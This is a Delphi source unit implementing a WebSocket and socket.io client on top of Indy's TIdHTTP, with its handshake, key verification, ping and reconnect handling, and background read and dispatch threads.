unit IdHTTPWebsocketClient; interface uses Classes, IdHTTP, {$IF CompilerVersion <= 21.0} //D2010 IdHashSHA1, {$else} Types, IdHashSHA, //XE3 etc {$IFEND} IdIOHandler, IdIOHandlerWebsocket, // {$ifdef FMX} // FMX.Types, // {$ELSE} // ExtCtrls, // {$ENDIF} IdWinsock2, Generics.Collections, SyncObjs, IdSocketIOHandling, IdIOHandlerStack; type TWebsocketMsgBin = procedure(const aData: TStream) of object; TWebsocketMsgText = procedure(const aData: string) of object; TIdHTTPWebsocketClient = class; TSocketIOMsg = procedure(const AClient: TIdHTTPWebsocketClient; const aText: string; aMsgNr: Integer) of object; TIdSocketIOHandling_Ext = class(TIdSocketIOHandling) end; TIdHTTPWebsocketClient = class(TIdHTTP) private FWSResourceName: string; FHash: TIdHashSHA1; FOnData: TWebsocketMsgBin; FOnTextData: TWebsocketMsgText; FNoAsyncRead: Boolean; FWriteTimeout: Integer; FUseSSL: boolean; FWebsocketImpl: TWebsocketImplementationProxy; function GetIOHandlerWS: TWebsocketImplementationProxy; procedure SetOnData(const Value: TWebsocketMsgBin); procedure SetOnTextData(const Value: TWebsocketMsgText); procedure SetWriteTimeout(const Value: Integer); function GetIOHandler: TIdIOHandlerStack; procedure SetIOHandlerStack(const Value: TIdIOHandlerStack); protected FSocketIOCompatible: Boolean; FSocketIOHandshakeResponse: string; FSocketIO: TIdSocketIOHandling_Ext; FSocketIOContext: ISocketIOContext; FSocketIOConnectBusy: Boolean; //FHeartBeat: TTimer; //procedure HeartBeatTimer(Sender: TObject); function GetSocketIO: TIdSocketIOHandling; protected procedure InternalUpgradeToWebsocket(aRaiseException: Boolean; out aFailedReason: string);virtual; function MakeImplicitClientHandler: TIdIOHandler; override; public procedure AsyncDispatchEvent(const aEvent: TStream); overload; virtual; procedure AsyncDispatchEvent(const aEvent: string); overload; virtual; procedure ResetChannel; public procedure AfterConstruction; override; destructor Destroy; override; function TryUpgradeToWebsocket: Boolean; procedure UpgradeToWebsocket; function TryLock: Boolean; procedure Lock; procedure UnLock; procedure Connect; override; procedure ConnectAsync; virtual; function TryConnect: Boolean; procedure Disconnect(ANotifyPeer: Boolean); override; function CheckConnection: Boolean; procedure Ping; procedure ReadAndProcessData; property IOHandler: TIdIOHandlerStack read GetIOHandler write SetIOHandlerStack; property IOHandlerWS: TWebsocketImplementationProxy read GetIOHandlerWS; // write SetIOHandlerWS; //websockets property OnBinData : TWebsocketMsgBin read FOnData write SetOnData; property OnTextData: TWebsocketMsgText read FOnTextData write SetOnTextData; property NoAsyncRead: Boolean read FNoAsyncRead write FNoAsyncRead; //https://github.com/LearnBoost/socket.io-spec property SocketIOCompatible: Boolean read FSocketIOCompatible write FSocketIOCompatible; property SocketIO: TIdSocketIOHandling read GetSocketIO; published property Host; property Port; property WSResourceName: string read FWSResourceName write FWSResourceName; property UseSSL: boolean read FUseSSL write FUseSSL; property WriteTimeout: Integer read FWriteTimeout write SetWriteTimeout default 2000; end; TWSThreadList = class(TThreadList) public function Count: Integer; end; TIdWebsocketMultiReadThread = class(TThread) private class var FInstance: TIdWebsocketMultiReadThread; protected FReadTimeout: Integer; FTempHandle: THandle; FPendingBreak: Boolean; Freadset, Fexceptionset: TFDSet; Finterval: TTimeVal; procedure InitSpecialEventSocket; procedure ResetSpecialEventSocket; procedure BreakSelectWait; protected FChannels: TThreadList; FReconnectlist: TWSThreadList; FReconnectThread: TIdWebsocketQueueThread; procedure ReadFromAllChannels; procedure PingAllChannels; procedure Execute; override; public procedure AfterConstruction;override; destructor Destroy; override; procedure Terminate; procedure AddClient (aChannel: TIdHTTPWebsocketClient); procedure RemoveClient(aChannel: TIdHTTPWebsocketClient); property ReadTimeout: Integer read FReadTimeout write FReadTimeout default 5000; class function Instance: TIdWebsocketMultiReadThread; class procedure RemoveInstance(aForced: boolean = false); end; //async process data TIdWebsocketDispatchThread = class(TIdWebsocketQueueThread) private class var FInstance: TIdWebsocketDispatchThread; public class function Instance: TIdWebsocketDispatchThread; class procedure RemoveInstance(aForced: boolean = false); end; implementation uses IdCoderMIME, SysUtils, Math, IdException, IdStackConsts, IdStack, IdStackBSDBase, IdGlobal, Windows, StrUtils, DateUtils; var GUnitFinalized: Boolean = false; { TIdHTTPWebsocketClient } procedure TIdHTTPWebsocketClient.AfterConstruction; begin inherited; FHash := TIdHashSHA1.Create; //IOHandler := TIdIOHandlerWebsocket.Create(nil); //IOHandler.RealIOHandler.UseNagle := False; //ManagedIOHandler := True; FSocketIO := TIdSocketIOHandling_Ext.Create; // FHeartBeat := TTimer.Create(nil); // FHeartBeat.Enabled := False; // FHeartBeat.OnTimer := HeartBeatTimer; FWriteTimeout := 2 * 1000; ConnectTimeout := 2000; end; procedure TIdHTTPWebsocketClient.AsyncDispatchEvent(const aEvent: TStream); var strmevent: TMemoryStream; begin if not Assigned(OnBinData) then Exit; strmevent := TMemoryStream.Create; strmevent.CopyFrom(aEvent, aEvent.Size); //events during dispatch? channel is busy so offload event dispatching to different thread! TIdWebsocketDispatchThread.Instance.QueueEvent( procedure begin if Assigned(OnBinData) then OnBinData(strmevent); strmevent.Free; end); end; procedure TIdHTTPWebsocketClient.AsyncDispatchEvent(const aEvent: string); begin {$IFDEF DEBUG_WS} if DebugHook <> 0 then OutputDebugString(PChar('AsyncDispatchEvent: ' + aEvent) ); {$ENDIF} //if not Assigned(OnTextData) then Exit; //events during dispatch? channel is busy so offload event dispatching to different thread! TIdWebsocketDispatchThread.Instance.QueueEvent( procedure begin if FSocketIOCompatible then FSocketIO.ProcessSocketIORequest(FSocketIOContext as TSocketIOContext, aEvent) else if Assigned(OnTextData) then OnTextData(aEvent); end); end; function TIdHTTPWebsocketClient.CheckConnection: Boolean; begin Result := False; try if (IOHandler <> nil) and not IOHandler.ClosedGracefully and IOHandler.Connected then begin IOHandler.CheckForDisconnect(True{error}, True{ignore buffer, check real connection}); Result := True; //ok if we reach here end; except on E:Exception do begin //clear inputbuffer, otherwise it stays connected :( // if (IOHandler <> nil) then // IOHandler.Clear; Disconnect(False); if Assigned(OnDisConnected) then OnDisConnected(Self); end; end; end; procedure TIdHTTPWebsocketClient.Connect; begin Lock; try if Connected then begin TryUpgradeToWebsocket; Exit; end; //FHeartBeat.Enabled := True; if SocketIOCompatible and not FSocketIOConnectBusy then begin //FSocketIOConnectBusy := True; //try TryUpgradeToWebsocket; //socket.io connects using HTTP, so no seperate .Connect needed (only gives Connection closed gracefully exceptions because of new http command) //finally // FSocketIOConnectBusy := False; //end; end else begin //clear inputbuffer, otherwise it can't connect :( if (IOHandlerWS <> nil) then IOHandlerWS.Clear; inherited Connect; end; finally UnLock; end; end; procedure TIdHTTPWebsocketClient.ConnectAsync; begin TIdWebsocketMultiReadThread.Instance.AddClient(Self); end; destructor TIdHTTPWebsocketClient.Destroy; //var tmr: TObject; begin // tmr := FHeartBeat; // FHeartBeat := nil; // TThread.Queue(nil, //otherwise free in other thread than created // procedure // begin //FHeartBeat.Free; // tmr.Free; // end); //TIdWebsocketMultiReadThread.Instance.RemoveClient(Self); DisConnect(True); FSocketIO.Free; FHash.Free; inherited; end; procedure TIdHTTPWebsocketClient.DisConnect(ANotifyPeer: Boolean); begin if not SocketIOCompatible and ( (IOHandlerWS <> nil) and not IOHandlerWS.IsWebsocket) then TIdWebsocketMultiReadThread.Instance.RemoveClient(Self); if ANotifyPeer and SocketIOCompatible then FSocketIO.WriteDisConnect(FSocketIOContext as TSocketIOContext) else FSocketIO.FreeConnection(FSocketIOContext as TSocketIOContext); // IInterface(FSocketIOContext)._Release; FSocketIOContext := nil; Lock; try if IOHandler <> nil then begin IOHandlerWS.Lock; try IOHandlerWS.IsWebsocket := False; Self.ManagedIOHandler := False; //otherwise it gets freed while we have a lock on it... inherited DisConnect(ANotifyPeer); //clear buffer, other still "connected" IOHandlerWS.Clear; //IOHandler.Free; //IOHandler := TIdIOHandlerWebsocket.Create(nil); finally IOHandlerWS.Unlock; end; end; finally UnLock; end; end; function TIdHTTPWebsocketClient.GetIOHandler: TIdIOHandlerStack; begin Result := inherited IOHandler as TIdIOHandlerStack; if Result = nil then begin inherited IOHandler := MakeImplicitClientHandler; Result := inherited IOHandler as TIdIOHandlerStack; end; end; function TIdHTTPWebsocketClient.GetIOHandlerWS: TWebsocketImplementationProxy; begin if FWebsocketImpl = nil then begin inherited IOHandler := Self.MakeImplicitClientHandler; Assert(FWebsocketImpl <> nil); end; Result := FWebsocketImpl; end; function TIdHTTPWebsocketClient.GetSocketIO: TIdSocketIOHandling; begin Result := FSocketIO; end; function TIdHTTPWebsocketClient.TryConnect: Boolean; begin Lock; try try if Connected then Exit(True); Connect; Result := Connected; //if Result then // Result := TryUpgradeToWebsocket already done in connect except Result := False; end finally UnLock; end; end; function TIdHTTPWebsocketClient.TryLock: Boolean; begin Result := System.TMonitor.TryEnter(Self); end; function TIdHTTPWebsocketClient.TryUpgradeToWebsocket: Boolean; var sError: string; begin try FSocketIOConnectBusy := True; Lock; try if (IOHandler <> nil) and IOHandlerWS.IsWebsocket then Exit(True); InternalUpgradeToWebsocket(False{no raise}, sError); Result := (sError = ''); finally FSocketIOConnectBusy := False; UnLock; end; except Result := False; end; end; procedure TIdHTTPWebsocketClient.UnLock; begin System.TMonitor.Exit(Self); end; procedure TIdHTTPWebsocketClient.UpgradeToWebsocket; var sError: string; begin Lock; try if IOHandler = nil then Connect else if not IOHandlerWS.IsWebsocket then InternalUpgradeToWebsocket(True{raise}, sError); finally UnLock; end; end; procedure TIdHTTPWebsocketClient.InternalUpgradeToWebsocket(aRaiseException: Boolean; out aFailedReason: string); var sURL: string; strmResponse: TMemoryStream; i: Integer; sKey, sResponseKey: string; sSocketioextended: string; bLocked: boolean; begin Assert((IOHandler = nil) or not IOHandlerWS.IsWebsocket); //remove from thread during connection handling TIdWebsocketMultiReadThread.Instance.RemoveClient(Self); bLocked := False; strmResponse := TMemoryStream.Create; Self.Lock; try //reset pending data if IOHandler <> nil then begin IOHandlerWS.Lock; bLocked := True; if IOHandlerWS.IsWebsocket then Exit; IOHandlerWS.Clear; end; //special socket.io handling, see https://github.com/LearnBoost/socket.io-spec if SocketIOCompatible then begin Request.Clear; Request.Connection := 'keep-alive'; if UseSSL then sURL := Format('https://%s:%d/socket.io/1/', [Host, Port]) else sURL := Format('http://%s:%d/socket.io/1/', [Host, Port]); strmResponse.Clear; ReadTimeout := 5 * 1000; if DebugHook > 0 then ReadTimeout := ReadTimeout * 10; //get initial handshake Post(sURL, strmResponse, strmResponse); if ResponseCode = 200 {OK} then begin //if not Connected then //reconnect // Self.Connect; strmResponse.Position := 0; //The body of the response should contain the session id (sid) given to the client, //followed by the heartbeat timeout, the connection closing timeout, and the list of supported transports separated by : //4d4f185e96a7b:15:10:websocket,xhr-polling with TStreamReader.Create(strmResponse) do try FSocketIOHandshakeResponse := ReadToEnd; finally Free; end; sKey := Copy(FSocketIOHandshakeResponse, 1, Pos(':', FSocketIOHandshakeResponse)-1); sSocketioextended := 'socket.io/1/websocket/' + sKey; WSResourceName := sSocketioextended; end else begin aFailedReason := Format('Initial socket.io handshake failed: "%d: %s"',[ResponseCode, ResponseText]); if aRaiseException then raise EIdWebSocketHandleError.Create(aFailedReason); end; end; Request.Clear; Request.CustomHeaders.Clear; strmResponse.Clear; //http://www.websocket.org/aboutwebsocket.html (* GET ws://echo.websocket.org/?encoding=text HTTP/1.1 Origin: http://websocket.org Cookie: __utma=99as Connection: Upgrade Host: echo.websocket.org Sec-WebSocket-Key: uRovscZjNol/umbTt5uKmw== Upgrade: websocket Sec-WebSocket-Version: 13 *) //Connection: Upgrade Request.Connection := 'Upgrade'; //Upgrade: websocket Request.CustomHeaders.Add('Upgrade:websocket'); //Sec-WebSocket-Key sKey := ''; for i := 1 to 16 do sKey := sKey + Char(Random(127-32) + 32); //base64 encoded sKey := TIdEncoderMIME.EncodeString(sKey); Request.CustomHeaders.AddValue('Sec-WebSocket-Key', sKey); //Sec-WebSocket-Version: 13 Request.CustomHeaders.AddValue('Sec-WebSocket-Version', '13'); Request.CustomHeaders.AddValue('Sec-WebSocket-Extensions', ''); Request.CacheControl := 'no-cache'; Request.Pragma := 'no-cache'; Request.Host := Format('Host:%s:%d',[Host,Port]); Request.CustomHeaders.AddValue('Origin', Format('http://%s:%d',[Host,Port]) ); //ws://host:port/<resourcename> //about resourcename, see: http://dev.w3.org/html5/websockets/ "Parsing WebSocket URLs" //sURL := Format('ws://%s:%d/%s', [Host, Port, WSResourceName]); if UseSSL then sURL := Format('https://%s:%d/%s', [Host, Port, WSResourceName]) else sURL := Format('http://%s:%d/%s', [Host, Port, WSResourceName]); ReadTimeout := Max(5 * 1000, ReadTimeout); if DebugHook > 0 then ReadTimeout := ReadTimeout * 10; { example: GET http://localhost:9222/devtools/page/642D7227-148E-47C2-B97A-E00850E3AFA3 HTTP/1.1 Upgrade: websocket Connection: Upgrade Host: localhost:9222 Origin: http://localhost:9222 Pragma: no-cache Cache-Control: no-cache Sec-WebSocket-Key: HIqoAdZkxnWWH9dnVPyW7w== Sec-WebSocket-Version: 13 Sec-WebSocket-Extensions: x-webkit-deflate-frame User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Cookie: __utma=1.2040118404.1366961318.1366961318.1366961318.1; __utmc=1; __utmz=1.1366961318.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); deviceorder=0123456789101112; MultiTouchEnabled=false; device=3; network_type=0 } begin Get(sURL, strmResponse, [101]); //http://www.websocket.org/aboutwebsocket.html (* HTTP/1.1 101 WebSocket Protocol Handshake Date: Fri, 10 Feb 2012 17:38:18 GMT Connection: Upgrade Server: Kaazing Gateway Upgrade: WebSocket Access-Control-Allow-Origin: http://websocket.org Access-Control-Allow-Credentials: true Sec-WebSocket-Accept: rLHCkw/SKsO9GAH/ZSFhBATDKrU= Access-Control-Allow-Headers: content-type *) //'HTTP/1.1 101 Switching Protocols' if ResponseCode <> 101 then begin aFailedReason := Format('Error while upgrading: "%d: %s"',[ResponseCode, ResponseText]); if aRaiseException then raise EIdWebSocketHandleError.Create(aFailedReason) else Exit; end; //connection: upgrade if not SameText(Response.Connection, 'upgrade') then begin aFailedReason := Format('Connection not upgraded: "%s"',[Response.Connection]); if aRaiseException then raise EIdWebSocketHandleError.Create(aFailedReason) else Exit; end; //upgrade: websocket if not SameText(Response.RawHeaders.Values['upgrade'], 'websocket') then begin aFailedReason := Format('Not upgraded to websocket: "%s"',[Response.RawHeaders.Values['upgrade']]); if aRaiseException then raise EIdWebSocketHandleError.Create(aFailedReason) else Exit; end; //check handshake key sResponseKey := Trim(sKey) + //... "minus any leading and trailing whitespace" '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'; //special GUID sResponseKey := TIdEncoderMIME.EncodeBytes( //Base64 FHash.HashString(sResponseKey) ); //SHA1 if not SameText(Response.RawHeaders.Values['sec-websocket-accept'], sResponseKey) then begin aFailedReason := 'Invalid key handshake'; if aRaiseException then raise EIdWebSocketHandleError.Create(aFailedReason) else Exit; end; end; //upgrade succesful IOHandlerWS.IsWebsocket := True; aFailedReason := ''; Assert(Connected); if SocketIOCompatible then begin FSocketIOContext := TSocketIOContext.Create(Self); (FSocketIOContext as TSocketIOContext).ConnectSend := True; //connect already send via url? GET /socket.io/1/websocket/9elrbEFqiimV29QAM6T- FSocketIO.WriteConnect(FSocketIOContext as TSocketIOContext); end; //always read the data! (e.g. RO use override of AsyncDispatchEvent to process data) //if Assigned(OnBinData) or Assigned(OnTextData) then finally Request.Clear; Request.CustomHeaders.Clear; strmResponse.Free; if bLocked and (IOHandler <> nil) then IOHandlerWS.Unlock; Unlock; //add to thread for auto retry/reconnect if not Self.NoAsyncRead then TIdWebsocketMultiReadThread.Instance.AddClient(Self); end; //default 2s write timeout //http://msdn.microsoft.com/en-us/library/windows/desktop/ms740532(v=vs.85).aspx if Connected then Self.IOHandler.Binding.SetSockOpt(SOL_SOCKET, SO_SNDTIMEO, Self.WriteTimeout); end; procedure TIdHTTPWebsocketClient.Lock; begin System.TMonitor.Enter(Self); end; function TIdHTTPWebsocketClient.MakeImplicitClientHandler: TIdIOHandler; begin if UseSSL then begin Result := TIdIOHandlerWebsocketSSL.Create(nil); FWebsocketImpl := (Result as TIdIOHandlerWebsocketSSL).WebsocketImpl; end else begin Result := TIdIOHandlerWebsocketPlain.Create(nil); FWebsocketImpl := (Result as TIdIOHandlerWebsocketPlain).WebsocketImpl; end; (Result as TIdIOHandlerStack).UseNagle := False; end; procedure TIdHTTPWebsocketClient.Ping; var ws: TWebsocketImplementationProxy; begin if TryLock then try ws := IOHandlerWS; ws.LastPingTime := Now; //socket.io? if SocketIOCompatible and ws.IsWebsocket then begin FSocketIO.Lock; try if (FSocketIOContext <> nil) then FSocketIO.WritePing(FSocketIOContext as TSocketIOContext); //heartbeat socket.io message finally FSocketIO.UnLock; end end //only websocket? else if not SocketIOCompatible and ws.IsWebsocket then begin if ws.TryLock then try ws.WriteData(nil, wdcPing); finally ws.Unlock; end; end; finally Unlock; end; end; procedure TIdHTTPWebsocketClient.ReadAndProcessData; var strmEvent: TMemoryStream; swstext: utf8string; wscode: TWSDataCode; begin strmEvent := nil; IOHandlerWS.Lock; try //try to process all events while IOHandlerWS.HasData or (IOHandler.Connected and IOHandler.Readable(0)) do //has some data begin if strmEvent = nil then strmEvent := TMemoryStream.Create; strmEvent.Clear; //first is the data type TWSDataType(text or bin), but is ignore/not needed wscode := TWSDataCode(IOHandler.ReadLongWord); if not (wscode in [wdcText, wdcBinary, wdcPing, wdcPong]) then begin //Sleep(0); Continue; end; //next the size + data = stream IOHandler.ReadStream(strmEvent); //ignore ping/pong messages if wscode in [wdcPing, wdcPong] then Continue; //fire event //offload event dispatching to different thread! otherwise deadlocks possible? (do to synchronize) strmEvent.Position := 0; if wscode = wdcBinary then begin AsyncDispatchEvent(strmEvent); end else if wscode = wdcText then begin SetLength(swstext, strmEvent.Size); strmEvent.Read(swstext[1], strmEvent.Size); if swstext <> '' then begin AsyncDispatchEvent(string(swstext)); end; end; end; finally IOHandlerWS.Unlock; strmEvent.Free; end; end; procedure TIdHTTPWebsocketClient.ResetChannel; //var // ws: TIdIOHandlerWebsocket; begin // TIdWebsocketMultiReadThread.Instance.RemoveClient(Self); keep for reconnect if IOHandler <> nil then begin IOHandler.InputBuffer.Clear; IOHandlerWS.BusyUpgrading := False; IOHandlerWS.IsWebsocket := False; //close/disconnect internal socket //ws := IndyClient.IOHandler as TIdIOHandlerWebsocket; //ws.Close; done in disconnect below end; Disconnect(False); end; procedure TIdHTTPWebsocketClient.SetIOHandlerStack(const Value: TIdIOHandlerStack); begin inherited IOHandler := Value; end; procedure TIdHTTPWebsocketClient.SetOnData(const Value: TWebsocketMsgBin); begin // if not Assigned(Value) and not Assigned(FOnTextData) then // TIdWebsocketMultiReadThread.Instance.RemoveClient(Self); FOnData := Value; // if Assigned(Value) and // (Self.IOHandler as TIdIOHandlerWebsocket).IsWebsocket // then // TIdWebsocketMultiReadThread.Instance.AddClient(Self); end; procedure TIdHTTPWebsocketClient.SetOnTextData(const Value: TWebsocketMsgText); begin // if not Assigned(Value) and not Assigned(FOnData) then // TIdWebsocketMultiReadThread.Instance.RemoveClient(Self); FOnTextData := Value; // if Assigned(Value) and // (Self.IOHandler as TIdIOHandlerWebsocket).IsWebsocket // then // TIdWebsocketMultiReadThread.Instance.AddClient(Self); end; procedure TIdHTTPWebsocketClient.SetWriteTimeout(const Value: Integer); begin FWriteTimeout := Value; if Connected then Self.IOHandler.Binding.SetSockOpt(SOL_SOCKET, SO_SNDTIMEO, Self.WriteTimeout); end; { TIdWebsocketMultiReadThread } procedure TIdWebsocketMultiReadThread.AddClient( aChannel: TIdHTTPWebsocketClient); var l: TList; begin //Assert( (aChannel.IOHandler as TIdIOHandlerWebsocket).IsWebsocket, 'Channel is not a websocket'); if Self = nil then Exit; if Self.Terminated then Exit; l := FChannels.LockList; try //already exists? if l.IndexOf(aChannel) >= 0 then Exit; Assert(l.Count < 64, 'Max 64 connections can be handled by one read thread!'); //due to restrictions of the "select" API l.Add(aChannel); //trigger the "select" wait BreakSelectWait; finally FChannels.UnlockList; end; end; procedure TIdWebsocketMultiReadThread.AfterConstruction; begin inherited; ReadTimeout := 5000; FChannels := TThreadList.Create; FillChar(Freadset, SizeOf(Freadset), 0); FillChar(Fexceptionset, SizeOf(Fexceptionset), 0); InitSpecialEventSocket; end; procedure TIdWebsocketMultiReadThread.BreakSelectWait; var //iResult: Integer; LAddr: TSockAddrIn6; begin if FTempHandle = 0 then Exit; FillChar(LAddr, SizeOf(LAddr), 0); //Id_IPv4 with PSOCKADDR(@LAddr)^ do begin sin_family := Id_PF_INET4; //dummy address and port (GStack as TIdStackBSDBase).TranslateStringToTInAddr('0.0.0.0', sin_addr, Id_IPv4); sin_port := htons(1); end; FPendingBreak := True; //connect to non-existing address to stop "select" from waiting //Note: this is some kind of "hack" because there is no nice way to stop it //The only(?) other possibility is to make a "socket pair" and send a byte to it, //but this requires a dynamic server socket (which can trigger a firewall //exception/question popup in WindowsXP+) //iResult := IdWinsock2.connect(FTempHandle, PSOCKADDR(@LAddr), SIZE_TSOCKADDRIN); //non blocking socket, so will always result in "would block"! // if (iResult <> Id_SOCKET_ERROR) or // ( (GStack <> nil) and (GStack.WSGetLastError <> WSAEWOULDBLOCK) ) // then // GStack.CheckForSocketError(iResult); end; destructor TIdWebsocketMultiReadThread.Destroy; begin if FReconnectThread <> nil then begin FReconnectThread.Terminate; FReconnectThread.WaitFor; FReconnectThread.Free; end; if FReconnectlist <> nil then FReconnectlist.Free; IdWinsock2.closesocket(FTempHandle); FTempHandle := 0; FChannels.Free; inherited; end; procedure TIdWebsocketMultiReadThread.Execute; begin Self.NameThreadForDebugging(AnsiString(Self.ClassName)); while not Terminated do begin try while not Terminated do begin ReadFromAllChannels; PingAllChannels; end; except //continue end; end; end; procedure TIdWebsocketMultiReadThread.InitSpecialEventSocket; var param: Cardinal; iResult: Integer; begin if GStack = nil then Exit; //finalized? //alloc socket FTempHandle := GStack.NewSocketHandle(Id_SOCK_STREAM, Id_IPPROTO_IP, Id_IPv4, False); Assert(FTempHandle <> Id_INVALID_SOCKET); //non block mode param := 1; // enable NON blocking mode iResult := ioctlsocket(FTempHandle, FIONBIO, param); GStack.CheckForSocketError(iResult); end; class function TIdWebsocketMultiReadThread.Instance: TIdWebsocketMultiReadThread; begin if (FInstance = nil) then begin if GUnitFinalized then Exit(nil); FInstance := TIdWebsocketMultiReadThread.Create(True); FInstance.Start; end; Result := FInstance; end; procedure TIdWebsocketMultiReadThread.PingAllChannels; var l: TList; chn: TIdHTTPWebsocketClient; ws: TWebsocketImplementationProxy; i: Integer; begin if Terminated then Exit; l := FChannels.LockList; try for i := 0 to l.Count - 1 do begin chn := TIdHTTPWebsocketClient(l.Items[i]); if chn.NoAsyncRead then Continue; ws := chn.IOHandlerWS; //valid? if (chn.IOHandler <> nil) and (chn.IOHandlerWS.IsWebsocket) and (chn.Socket <> nil) and (chn.Socket.Binding <> nil) and (chn.Socket.Binding.Handle > 0) and (chn.Socket.Binding.Handle <> INVALID_SOCKET) then begin //more than 10s nothing done? then send ping if SecondsBetween(Now, ws.LastPingTime) > 10 then if chn.CheckConnection then try chn.Ping; except //retry connect the next time? end; end else if not chn.Connected then begin if (ws <> nil) and (SecondsBetween(Now, ws.LastActivityTime) < 5) then Continue; if FReconnectlist = nil then FReconnectlist := TWSThreadList.Create; //if chn.TryLock then FReconnectlist.Add(chn); end; end; finally FChannels.UnlockList; end; if Terminated then Exit; //reconnect needed? (in background) if FReconnectlist <> nil then if FReconnectlist.Count > 0 then begin if FReconnectThread = nil then FReconnectThread := TIdWebsocketQueueThread.Create(False{direct start}); FReconnectThread.QueueEvent( procedure var l: TList; chn: TIdHTTPWebsocketClient; begin while FReconnectlist.Count > 0 do begin chn := nil; try //get first one l := FReconnectlist.LockList; try if l.Count <= 0 then Exit; chn := TObject(l.Items[0]) as TIdHTTPWebsocketClient; if not chn.TryLock then begin l.Delete(0); chn := nil; Continue; end; finally FReconnectlist.UnlockList; end; //try reconnect ws := chn.IOHandlerWS; if ( (ws = nil) or (SecondsBetween(Now, ws.LastActivityTime) >= 5) ) then begin try if not chn.Connected then begin if ws <> nil then ws.LastActivityTime := Now; //chn.ConnectTimeout := 1000; if (chn.Host <> '') and (chn.Port > 0) then chn.TryUpgradeToWebsocket; end; except //just try end; end; //remove from todo list l := FReconnectlist.LockList; try if l.Count > 0 then l.Delete(0); finally FReconnectlist.UnlockList; end; finally if chn <> nil then chn.Unlock; end; end; end); end; end; procedure TIdWebsocketMultiReadThread.ReadFromAllChannels; var l: TList; chn: TIdHTTPWebsocketClient; iCount, i: Integer; iResult: NativeInt; ws: TWebsocketImplementationProxy; begin l := FChannels.LockList; try iCount := 0; iResult := 0; Freadset.fd_count := iCount; for i := 0 to l.Count - 1 do begin chn := TIdHTTPWebsocketClient(l.Items[i]); if chn.NoAsyncRead then Continue; //valid? if //not chn.Busy and also take busy channels (will be ignored later), otherwise we have to break/reset for each RO function execution (chn.IOHandler <> nil) and (chn.IOHandlerWS.IsWebsocket) and (chn.Socket <> nil) and (chn.Socket.Binding <> nil) and (chn.Socket.Binding.Handle > 0) and (chn.Socket.Binding.Handle <> INVALID_SOCKET) then begin if chn.IOHandlerWS.HasData then begin Inc(iResult); Break; end; Freadset.fd_count := iCount+1; Freadset.fd_array[iCount] := chn.Socket.Binding.Handle; Inc(iCount); end; end; if FPendingBreak then ResetSpecialEventSocket; finally FChannels.UnlockList; end; //special helper socket to be able to stop "select" from waiting Fexceptionset.fd_count := 1; Fexceptionset.fd_array[0] := FTempHandle; //wait 15s till some data Finterval.tv_sec := Self.ReadTimeout div 1000; //5s Finterval.tv_usec := Self.ReadTimeout mod 1000; //nothing to wait for? then sleep some time to prevent 100% CPU if iResult = 0 then begin if iCount = 0 then begin iResult := IdWinsock2.select(0, nil, nil, @Fexceptionset, @Finterval); if iResult = SOCKET_ERROR then iResult := 1; //ignore errors end //wait till a socket has some data (or a signal via exceptionset is fired) else iResult := IdWinsock2.select(0, @Freadset, nil, @Fexceptionset, @Finterval); if iResult = SOCKET_ERROR then //raise EIdWinsockStubError.Build(WSAGetLastError, '', []); //ignore error during wait: socket disconnected etc Exit; end; if Terminated then Exit; //some data? if (iResult > 0) then begin //make sure the thread is created outside a lock TIdWebsocketDispatchThread.Instance; l := FChannels.LockList; if l = nil then Exit; try //check for data for all channels for i := 0 to l.Count - 1 do begin chn := TIdHTTPWebsocketClient(l.Items[i]); if chn.NoAsyncRead then Continue; if chn.TryLock then try ws := chn.IOHandlerWS; if (ws = nil) then Continue; if ws.TryLock then //IOHandler.Readable cannot be done during pending action! try try chn.ReadAndProcessData; except on e:Exception do begin l := nil; FChannels.UnlockList; chn.ResetChannel; //raise; end; end; finally ws.Unlock; end; finally chn.Unlock; end; end; if FPendingBreak then ResetSpecialEventSocket; finally if l <> nil then FChannels.UnlockList; //strmEvent.Free; end; end; end; procedure TIdWebsocketMultiReadThread.RemoveClient( aChannel: TIdHTTPWebsocketClient); begin if Self = nil then Exit; if Self.Terminated then Exit; aChannel.Lock; try FChannels.Remove(aChannel); if FReconnectlist <> nil then FReconnectlist.Remove(aChannel); finally aChannel.UnLock; end; BreakSelectWait; end; class procedure TIdWebsocketMultiReadThread.RemoveInstance(aForced: boolean); var o: TIdWebsocketMultiReadThread; begin if FInstance <> nil then begin FInstance.Terminate; o := FInstance; FInstance := nil; if aForced then begin WaitForSingleObject(o.Handle, 2 * 1000); TerminateThread(o.Handle, MaxInt); end else o.WaitFor; FreeAndNil(o); end; end; procedure TIdWebsocketMultiReadThread.ResetSpecialEventSocket; begin Assert(FPendingBreak); FPendingBreak := False; IdWinsock2.closesocket(FTempHandle); FTempHandle := 0; InitSpecialEventSocket; end; procedure TIdWebsocketMultiReadThread.Terminate; begin inherited Terminate; if FReconnectThread <> nil then FReconnectThread.Terminate; FChannels.LockList; try //fire a signal, so the "select" wait will quit and thread can stop BreakSelectWait; finally FChannels.UnlockList; end; end; { TIdWebsocketDispatchThread } class function TIdWebsocketDispatchThread.Instance: TIdWebsocketDispatchThread; begin if FInstance = nil then begin if GUnitFinalized then Exit(nil); GlobalNameSpace.BeginWrite; try if FInstance = nil then begin FInstance := Self.Create(True); FInstance.Start; end; finally GlobalNameSpace.EndWrite; end; end; Result := FInstance; end; class procedure TIdWebsocketDispatchThread.RemoveInstance; var o: TIdWebsocketDispatchThread; begin if FInstance <> nil then begin FInstance.Terminate; o := FInstance; FInstance := nil; if aForced then begin WaitForSingleObject(o.Handle, 2 * 1000); TerminateThread(o.Handle, MaxInt); end; o.WaitFor; FreeAndNil(o); end; end; { TWSThreadList } function TWSThreadList.Count: Integer; var l: TList; begin l := LockList; try Result := l.Count; finally UnlockList; end; end; initialization finalization GUnitFinalized := True; if TIdWebsocketMultiReadThread.Instance <> nil then TIdWebsocketMultiReadThread.Instance.Terminate; TIdWebsocketDispatchThread.RemoveInstance(); TIdWebsocketMultiReadThread.RemoveInstance(); end.
